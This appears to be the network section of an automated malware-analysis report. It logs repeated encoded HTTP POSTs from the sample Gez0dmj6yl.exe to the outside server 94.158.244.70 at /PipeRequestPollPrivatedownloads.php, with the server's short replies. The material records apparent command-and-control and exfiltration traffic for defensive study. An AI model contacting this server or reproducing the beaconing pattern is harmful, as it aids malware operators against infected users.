Sep 1, 2024 23:56:56.153740883 CEST	384	OUT	Data Raw: 55 5e 5d 59 58 59 59 5e 5b 5b 54 51 5b 5d 56 56 57 51 5a 46 50 5f 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^]YXYY^[[TQ[]VVWQZFP_Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 10"#/)2<C,: 5;;41>$+"/2>!]3/<+9G$#P/
Sep 1, 2024 23:56:56.320400953 CEST	324	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 12 26 00 38 0e 25 01 00 52 27 31 3c 56 3d 37 02 42 2c 2e 20 00 37 30 3f 0e 2d 3c 26 10 21 1d 2a 44 3c 39 23 07 3c 03 30 52 35 37 20 51 04 12 21 5f 21 03 26 09 39 05 0c 04 32 0c 28 01 36 09 35 03 2b 5c 21 50 21 14 03 02 26 33 3a 02 28 3c 0a 11 2c 2b 2f 1f 3e 01 00 57 23 02 21 56 0f 12 25 1a 26 39 2c 01 27 3c 2c 55 24 06 22 00 21 3d 2f 5c 20 00 3f 15 31 33 0f 06 29 2f 09 1c 2b 3e 22 01 26 3c 31 05 30 3d 06 0b 24 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "&8%R'1<V=7B,. 70?-<&!*D<9#<0R57 Q!_!&92(65+\!P!&3:(<,+/>W#!V%&9,'<,U$"!=/\ ?13)/+>"&<10=$,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:56:56.564954042 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1748 Expect: 100-continue
Sep 1, 2024 23:56:56.919648886 CEST	1748	OUT	Data Raw: 50 5c 5d 5c 58 5e 59 53 5b 5b 54 51 5b 5c 56 56 57 52 5a 44 50 5b 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]\X^YS[[TQ[\VVWRZDP[QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ % "919>4$R/Z&-+!(\%:3'[+9G$#P/
Sep 1, 2024 23:56:57.145049095 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:56:58.222474098 CEST	324	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 06 25 3e 09 56 27 3f 04 50 25 21 30 52 2a 37 05 1b 2d 00 33 5a 34 0a 28 10 3b 05 2a 1f 22 23 29 1c 2a 39 24 5e 2b 3d 0a 1f 21 1d 20 51 04 12 21 5c 21 5b 3e 0f 2e 15 0f 59 25 54 2c 05 22 20 0b 03 3f 2a 03 1c 21 5c 29 03 32 55 21 58 29 2f 2f 0d 39 01 33 1a 2b 2c 3a 57 23 02 21 56 0f 12 26 0f 31 07 01 12 33 02 3f 08 30 01 26 07 35 00 2c 02 21 2a 3f 15 27 33 21 06 28 3f 0d 12 28 3e 25 5f 27 3c 04 17 24 5b 27 1f 24 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !%>V'?P%!0R7-3Z4(;"#)9$^+=! Q!\![>.Y%T," ?!\)2U!X)//93+,:W#!V&13?0&5,!*?'3!(?(>%_'<$['$<#P-/R1VT
Sep 1, 2024 23:56:58.222574949 CEST	324	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 06 25 3e 09 56 27 3f 04 50 25 21 30 52 2a 37 05 1b 2d 00 33 5a 34 0a 28 10 3b 05 2a 1f 22 23 29 1c 2a 39 24 5e 2b 3d 0a 1f 21 1d 20 51 04 12 21 5c 21 5b 3e 0f 2e 15 0f 59 25 54 2c 05 22 20 0b 03 3f 2a 03 1c 21 5c 29 03 32 55 21 58 29 2f 2f 0d 39 01 33 1a 2b 2c 3a 57 23 02 21 56 0f 12 26 0f 31 07 01 12 33 02 3f 08 30 01 26 07 35 00 2c 02 21 2a 3f 15 27 33 21 06 28 3f 0d 12 28 3e 25 5f 27 3c 04 17 24 5b 27 1f 24 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !%>V'?P%!0R7-3Z4(;"#)9$^+=! Q!\![>.Y%T," ?!\)2U!X)//93+,:W#!V&13?0&5,!*?'3!(?(>%_'<$['$<#P-/R1VT
Sep 1, 2024 23:56:58.223769903 CEST	349	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 31 20 53 65 70 20 32 30 32 34 20 32 31 3a 35 36 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 03 10 21 06 25 3e 09 56 27 3f 04 50 25 21 30 52 2a 37 05 1b 2d 00 33 5a 34 0a 28 10 3b 05 2a 1f 22 23 29 1c 2a 39 24 5e 2b 3d 0a 1f 21 1d 20 51 04 12 21 5c 21 5b 3e 0f 2e 15 0f 59 25 54 2c 05 22 20 0b 03 3f 2a 03 1c 21 5c 29 03 32 55 21 58 29 2f 2f 0d 39 01 33 1a 2b 2c 3a 57 23 02 21 56 0f 12 26 0f 31 07 01 12 33 02 3f 08 30 01 26 07 35 00 2c 02 21 2a 3f 15 27 33 21 06 28 3f 0d 12 28 3e 25 5f 27 3c 04 17 24 5b 27 1f 24 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 21:56:57 GMTServer: Apache/2.4.41 (Ubuntu)Vary: Accept-EncodingContent-Length: 152Content-Type: text/html; charset=UTF-8!%>V'?P%!0R7-3Z4(;"#)9$^+=! Q!\![>.Y%T," ?!\)2U!X)//93+,:W#!V&13?0&5,!*?'3!(?(>%_'<$['$<#P-/R1VT
Sep 1, 2024 23:56:58.422070980 CEST	349	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 31 20 53 65 70 20 32 30 32 34 20 32 31 3a 35 36 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 03 10 21 06 25 3e 09 56 27 3f 04 50 25 21 30 52 2a 37 05 1b 2d 00 33 5a 34 0a 28 10 3b 05 2a 1f 22 23 29 1c 2a 39 24 5e 2b 3d 0a 1f 21 1d 20 51 04 12 21 5c 21 5b 3e 0f 2e 15 0f 59 25 54 2c 05 22 20 0b 03 3f 2a 03 1c 21 5c 29 03 32 55 21 58 29 2f 2f 0d 39 01 33 1a 2b 2c 3a 57 23 02 21 56 0f 12 26 0f 31 07 01 12 33 02 3f 08 30 01 26 07 35 00 2c 02 21 2a 3f 15 27 33 21 06 28 3f 0d 12 28 3e 25 5f 27 3c 04 17 24 5b 27 1f 24 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 21:56:57 GMTServer: Apache/2.4.41 (Ubuntu)Vary: Accept-EncodingContent-Length: 152Content-Type: text/html; charset=UTF-8!%>V'?P%!0R7-3Z4(;"#)9$^+=! Q!\![>.Y%T," ?!\)2U!X)//93+,:W#!V&13?0&5,!*?'3!(?(>%_'<$['$<#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:56:56.571137905 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:56:56.919648886 CEST	1040	OUT	Data Raw: 55 5e 58 5b 58 5e 5c 54 5b 5b 54 51 5b 57 56 5e 57 53 5a 42 50 59 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X[X^\T[[TQ[WV^WSZBPYQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\20!#?9&T<B,:"&;--,Y$-<<,%.!Z'<<;9G$#P/,
Sep 1, 2024 23:56:57.145065069 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:56:58.222760916 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:56:58.222806931 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:56:58.223970890 CEST	232	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 31 20 53 65 70 20 32 30 32 34 20 32 31 3a 35 36 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 31 58 5b 57 Data Ascii: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 21:56:57 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-81X[W
Sep 1, 2024 23:56:58.422517061 CEST	232	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 31 20 53 65 70 20 32 30 32 34 20 32 31 3a 35 36 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 31 58 5b 57 Data Ascii: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 21:56:57 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-81X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:56:59.508122921 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:56:59.857124090 CEST	1040	OUT	Data Raw: 55 58 58 5f 58 5c 59 54 5b 5b 54 51 5b 53 56 56 57 5b 5a 40 50 5a 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UXX_X\YT[[TQ[SVVW[Z@PZQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2!?&T$E.!V7#/-(1=8+$-=0<9G$#P/<
Sep 1, 2024 23:57:00.073100090 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:00.200484991 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:00.920274973 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:01.279010057 CEST	1040	OUT	Data Raw: 50 58 58 53 5d 59 59 52 5b 5b 54 51 5b 53 56 54 57 53 5a 44 50 5f 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PXXS]YYR[[TQ[SVTWSZDP_QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[% >#/>Q&<-275+,<\&=U?2 \2!%?()+9G$#P/<
Sep 1, 2024 23:57:01.410715103 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:01.584198952 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:02.308748960 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:02.654078007 CEST	1040	OUT	Data Raw: 55 5a 58 53 5d 59 59 56 5b 5b 54 51 5b 50 56 5e 57 5a 5a 49 50 5d 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZXS]YYV[[TQ[PV^WZZIP]QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %>5<>V%$A." C+8><[&/)!%!$<(;9G$#P/0
Sep 1, 2024 23:57:02.729181051 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:02.854618073 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:03.070058107 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49713	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:03.769095898 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1748 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:04.122726917 CEST	1748	OUT	Data Raw: 55 5f 5d 5e 58 5c 59 55 5b 5b 54 51 5b 56 56 57 57 5a 5a 44 50 5e 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_]^X\YU[[TQ[VVWWZZDP^Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1>["?2U&D.%7%(T,=%>?)!,Y&:$(;9G$#P/(
Sep 1, 2024 23:57:04.497684002 CEST	1236	OUT	Data Raw: 55 5f 5d 5e 58 5c 59 55 5b 5b 54 51 5b 56 56 57 57 5a 5a 44 50 5e 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_]^X\YU[[TQ[VVWWZZDP^Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1>["?2U&D.%7%(T,=%>?)!,Y&:$(;9G$#P/(
Sep 1, 2024 23:57:04.499345064 CEST	512	OUT	Data Raw: 0e 2f 33 0d 2b 09 3f 5d 32 13 2a 5d 33 5a 06 30 03 2f 41 18 2a 18 3b 59 3d 2b 37 53 34 3f 15 29 3c 05 20 1b 3b 13 02 5a 36 31 0a 5d 07 3f 31 32 25 32 20 0f 0a 3f 0c 1b 31 08 09 24 06 52 33 28 2d 32 28 03 0f 33 1a 1d 3b 05 0b 1a 0e 32 1b 35 36 01 Data Ascii: /3+?]2]3Z0/A;Y=+7S4?)< ;Z61]?12%2 ?1$R3(-2(3;256?13W5'>+/27:\1$1?66*.+%_2&>>.+'2[1W:=,";5$ T="7?W<=5/Z[5<X?2<=?"< 10[)-37>?!]'?4?\1&:=86!_$? >?6Z='>
Sep 1, 2024 23:57:04.499492884 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:04.570024967 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:04.670991898 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 01 25 07 20 0a 25 3f 21 0c 32 0f 28 56 3e 24 3b 19 2d 2e 24 02 37 23 15 0c 2f 5a 31 03 21 33 22 06 2a 29 33 06 3c 03 30 1c 21 0d 20 51 04 12 21 5a 23 2e 25 56 2d 15 29 58 25 0b 33 13 21 23 29 02 3f 39 2d 56 35 5c 35 07 31 30 22 03 3f 02 30 1c 3a 16 0e 40 2a 2f 29 0e 20 02 21 56 0f 12 25 1b 32 39 0d 5a 24 3f 24 50 33 01 21 1a 22 00 27 5a 23 17 3f 15 27 33 26 59 29 2f 2b 13 3c 3d 00 03 33 3f 2a 5d 33 03 09 55 24 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !% %?!2(V>$;-.$7#/Z1!3")3<0! Q!Z#.%V-)X%3!#)?9-V5\510"?0:@/) !V%29Z$?$P3!"'Z#?'3&Y)/+<=3?*]3U$#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49714	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:04.499533892 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:04.857098103 CEST	1040	OUT	Data Raw: 55 59 58 58 5d 5b 59 51 5b 5b 54 51 5b 51 56 54 57 56 5a 48 50 5c 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYXX][YQ[[TQ[QVTWVZHP\QY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ & !:V&!<D." %T-=/&[8)! ]253< (+9G$#P/4
Sep 1, 2024 23:57:05.106173038 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:05.236577988 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49716	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:05.459336996 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:05.810229063 CEST	1040	OUT	Data Raw: 50 58 58 5b 58 5f 5c 54 5b 5b 54 51 5b 53 56 55 57 51 5a 40 50 52 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PXX[X_\T[[TQ[SVUWQZ@PRQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\2 5?P&" E9%V#C?-- 23)1?&[=X0?(+9G$#P/<
Sep 1, 2024 23:57:06.050873041 CEST	25	IN	HTTP/1.1 100 Continue
